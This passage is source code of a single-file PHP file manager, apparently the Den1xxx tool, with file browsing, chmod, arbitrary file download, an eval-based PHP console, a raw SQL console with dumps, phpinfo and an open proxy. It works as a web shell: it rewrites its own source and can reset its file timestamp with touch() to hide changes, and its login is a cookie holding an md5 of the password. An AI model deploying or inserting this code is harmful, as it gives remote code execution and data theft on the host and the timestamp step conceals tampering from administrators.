		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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